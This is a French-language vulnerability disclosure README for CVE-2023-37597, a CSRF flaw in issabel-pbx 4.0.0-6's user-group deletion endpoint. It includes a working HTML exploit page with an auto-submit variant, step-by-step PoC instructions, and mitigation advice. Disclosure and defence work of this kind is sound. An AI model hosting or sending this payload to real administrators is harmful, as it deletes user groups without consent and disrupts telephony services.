
Issabel-pbx v 4.0.0-6 contient une vulnérabilité de Cross-Site Request Forgery (CSRF) dans sa fonctionnalité de gestion des groupes d'utilisateurs.
Avertissement : Ce dépôt est destiné uniquement à des fins éducatives et de recherche en sécurité autorisée. N'utilisez pas cet exploit contre un système que vous ne possédez pas ou pour lequel vous ne disposez pas d'une autorisation écrite explicite de test.
issabel-pbx est une plateforme de communications unifiées (PBX) open source largement utilisée qui fournit des services VoIP, une gestion téléphonique et une administration web. La version 4.0.0-6 d'issabel-pbx contient une vulnérabilité de dans sa fonctionnalité de gestion des groupes d'utilisateurs.
Un attaquant distant non authentifié peut créer une page HTML malveillante qui, lorsqu'elle est consultée par un administrateur authentifié, émet silencieusement une requête HTTP POST falsifiée pour supprimer n'importe quel groupe d'utilisateurs. Comme l'application ne valide pas l'origine des requêtes modifiant l'état à l'aide de jetons CSRF ou de politiques de cookies SameSite, le navigateur inclut automatiquement le cookie de session de l'administrateur, ce qui permet à la suppression de réussir sans que la victime en ait connaissance ou y consente.
| Champ | Valeur |
|---|---|
| Identifiant CVE | CVE-2023-37597 |
| Vulnérabilité | Cross-Site Request Forgery (CSRF) |
| CWE | CWE-352 — Cross-Site Request Forgery (CSRF) |
| Sévérité | Moyenne |
| Vecteur CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H |
| Version affectée | issabel-pbx 4.0.0-6 |
| Date de divulgation | 10 juillet 2023 |
| Chercheur | Sahil Ojha |
| Champ | Valeur |
|---|---|
| Nom du produit | issabel-pbx |
| Version | 4.0.0-6 |
| Éditeur | Issabel Foundation |
| Page d'accueil de l'éditeur | https://www.issabel.org/ |
| Code source | https://github.com/IssabelFoundation/issabelPBX |
| Testé sur | Windows (Burp Suite Community Edition) |
Le Cross-Site Request Forgery (CSRF) est une attaque qui amène le navigateur d'une victime à envoyer une requête authentifiée à une application cible au nom de l'attaquant. L'attaque réussit lorsque :
Origin/Referer, aucun attribut de cookie SameSite=Strict ou SameSite=Lax).Le point de terminaison de suppression de groupe d'utilisateurs (/index.php?menu=grouplist) dans issabel-pbx 4.0.0-6 traite les requêtes HTTP POST qui contiennent uniquement l'action delete et un paramètre id_user. L'application ne fait pas ce qui suit :
Origin ou Referer.SameSite sur les cookies de session.Par conséquent, toute page web chargée dans le navigateur de la victime peut soumettre silencieusement le formulaire de suppression en utilisant la session existante de la victime, car le navigateur joindra automatiquement le cookie de session.
POST /index.php?menu=grouplist HTTP/1.1
Host: <Issabel IP>
delete=Delete&id_user=<USER_GROUP_ID>
Avertissement : Le PoC suivant est fourni strictement à des fins éducatives. Utilisez-le uniquement dans des environnements de laboratoire ou sur des systèmes pour lesquels vous disposez d'une autorisation explicite.
Étape 1 — Connexion au panneau d'administration Issabel
Accédez à la page de la liste des groupes d'utilisateurs et connectez-vous avec des identifiants d'administrateur.
https://{Issabel IP}/index.php?menu=grouplist&action=view&id=11

Étape 2 — Capture de la requête de suppression
Tentez de supprimer un groupe d'utilisateurs en faisant transiter le trafic par Burp Suite. Cliquez avec le bouton droit sur la requête POST capturée et sélectionnez Engagement Tools → Generate CSRF PoC pour générer le squelette HTML de l'exploit.

Étape 3 — Hébergement de la page d'exploit CSRF
Enregistrez le HTML généré dans un fichier (voir Code de l'exploit PoC ci-dessous). Hébergez-le sur un serveur contrôlé par l'attaquant, ou envoyez-le directement à la victime.
Étape 4 — La victime ouvre la page d'exploit
Lorsque l'administrateur authentifié ouvre l'URL de l'exploit ou y est redirigé, le formulaire masqué est soumis automatiquement (ou la victime clique sur le bouton leurre). Le groupe d'utilisateurs ciblé est supprimé du panneau d'administration.


Le fichier HTML suivant (également disponible sous le nom CSRF exploit.html) démontre l'attaque. Remplacez {Issabel IP} par l'hôte cible et ajustez id_user pour qu'il corresponde à l'identifiant du groupe que vous souhaitez supprimer.
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://{Issabel IP}/index.php?menu=grouplist" method="POST">
<input type="hidden" name="delete" value="Delete" />
<input type="hidden" name="id_user" value="7" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Variante à soumission automatique : Pour éviter que la victime n'ait à cliquer sur quoi que ce soit, ajoutez ce qui suit à l'intérieur de la balise
<body>afin que le formulaire soit soumis automatiquement au chargement de la page :<script>document.forms[0].submit();</script>
| Dimension | Description |
|---|---|
| Intégrité | Un attaquant peut supprimer silencieusement n'importe quel groupe d'utilisateurs depuis le panneau d'administration Issabel. |
| Disponibilité | La suppression de groupes d'utilisateurs perturbe les règles de routage des appels, le contrôle d'accès et les services téléphoniques pour tous les utilisateurs appartenant à ces groupes, ce qui équivaut à un déni de service partiel. |
| Confidentialité | Non directement affectée par cette vulnérabilité. |
Les administrateurs et les développeurs doivent appliquer les défenses suivantes :
Mettre en œuvre des jetons CSRF (modèle de jeton synchronisateur)
Définir l'attribut de cookie SameSite
SameSite=Lax (minimum) ou SameSite=Strict pour empêcher les requêtes cross-origin de transporter les identifiants de session.Set-Cookie: PHPSESSID=...; SameSite=Lax; Secure; HttpOnlyValider les en-têtes Origin et Referer
Origin ou Referer ne correspond pas au domaine de l'application elle-même.Exiger une ré-authentification pour les actions destructrices
Appliquer une défense en profondeur
| Date | Événement |
|---|---|
| 10 juillet 2023 | Vulnérabilité découverte et documentée par Sahil Ojha |
| 10 juillet 2023 | Attribution de CVE-2023-37597 |
| 10 juillet 2023 | Divulgation publique |
Sahil Ojha Chercheur en sécurité
Si vous avez trouvé cette recherche utile, n'hésitez pas à ⭐ mettre une étoile au dépôt.